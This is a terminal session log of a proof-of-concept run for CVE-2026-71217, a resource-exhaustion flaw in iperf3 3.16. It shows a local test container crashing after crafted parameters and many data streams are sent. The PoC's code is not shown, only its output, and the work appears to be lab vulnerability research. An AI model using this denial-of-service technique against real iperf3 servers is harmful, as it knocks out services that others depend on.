reelix@reelix-cachy  ~/CVE-2026-71217  docker container ls -la
CONTAINER ID   IMAGE              COMMAND       CREATED          STATUS                       PORTS     NAMES
50d4673a0b27   iperf3:3.16-vuln   "iperf3 -s"   41 minutes ago   Exited (139) 3 minutes ago             iperf3-3.16-server
reelix@reelix-cachy  ~/CVE-2026-71217  docker restart iperf3-3.16-server
iperf3-3.16-server
reelix@reelix-cachy  ~/CVE-2026-71217  docker container ls -la
CONTAINER ID   IMAGE              COMMAND       CREATED          STATUS         PORTS                                                   NAMES
50d4673a0b27   iperf3:3.16-vuln   "iperf3 -s"   41 minutes ago   Up 2 seconds   5201/udp, 0.0.0.0:5201->5201/tcp, [::]:5201->5201/tcp   iperf3-3.16-server
reelix@reelix-cachy  ~/CVE-2026-71217  iperf3 -c 127.0.0.1 -t 1
Connecting to host 127.0.0.1, port 5201
[  5] local 127.0.0.1 port 59758 connected to 127.0.0.1 port 5201
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  11.8 GBytes   101 Gbits/sec    0   3.37 MBytes       
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-1.00   sec  11.8 GBytes   101 Gbits/sec    0            sender
[  5]   0.00-1.00   sec  11.8 GBytes   101 Gbits/sec                  receiver

iperf Done.
reelix@reelix-cachy  ~/CVE-2026-71217  docker container ls -la
CONTAINER ID   IMAGE              COMMAND       CREATED          STATUS          PORTS                                                   NAMES
50d4673a0b27   iperf3:3.16-vuln   "iperf3 -s"   41 minutes ago   Up 31 seconds   5201/udp, 0.0.0.0:5201->5201/tcp, [::]:5201->5201/tcp   iperf3-3.16-server
reelix@reelix-cachy  ~/CVE-2026-71217  python3 ./poc_iperf3_dos.py 127.0.0.1 5201

============================================================
  CVE-2026-71217 PoC — iperf3 Resource Exhaustion
  Target: 127.0.0.1:5201
  Scenario: combined
============================================================


────────────────────────────────────────────────────────────
Monitoring server resources for 15s…
────────────────────────────────────────────────────────────

[+] Attack: Combined — 1000 streams × 100 MB buffer
────────────────────────────────────────────────────────────
[*] Connected to server on control channel
[*] Sent cookie (37 bytes): ivvqmqgp3byvppnei2fziyilmearn7hafuon
  [00s] Memory: 0.01%  |  CPU: 2.109MiB
[*] Server state: 9 (PARAM_EXCHANGE=9)
[*] Sending crafted parameters (117 bytes)...
[*] Parameters sent. Waiting for server response...
[*] Server state: 10 (CREATE_STREAMS=10)
[*] Connecting to data port 5201 to trigger stream creation...
[*] Data connection 1 established (cookie sent)
[*] Data connection 2 established (cookie sent)
[*] Data connection 3 established (cookie sent)
[*] Data connection 4 established (cookie sent)
[*] Data connection 5 established (cookie sent)
[*] Data connection 6 established (cookie sent)
[*] Data connection 7 established (cookie sent)
[*] Data connection 8 established (cookie sent)
[*] Data connection 9 established (cookie sent)
[*] Data connection 10 established (cookie sent)
[*] Keeping 10 data connections open for 10s...
  [03s] Memory: 21.50%  |  CPU: 1.958GiB
  [06s] Memory: 0.00%  |  CPU: 1.957GiB
  [09s] Memory: 0.00%  |  CPU: 1.957GiB
  [12s] Memory: 0.00%  |  CPU: 1.958GiB
────────────────────────────────────────────────────────────

[*] Control channel closed. Server continues processing in background...

[+] PoC execution complete.
reelix@reelix-cachy  ~/CVE-2026-71217  iperf3 -c 127.0.0.1 -t 1
iperf3: error - unable to connect to server - server may have stopped running or use a different port, firewall issue, etc.: Connection refused
reelix@reelix-cachy  ~/CVE-2026-71217  docker container ls -la
CONTAINER ID   IMAGE              COMMAND       CREATED          STATUS                        PORTS     NAMES
50d4673a0b27   iperf3:3.16-vuln   "iperf3 -s"   42 minutes ago   Exited (139) 21 seconds ago             iperf3-3.16-server
reelix@reelix-cachy  ~/CVE-2026-71217 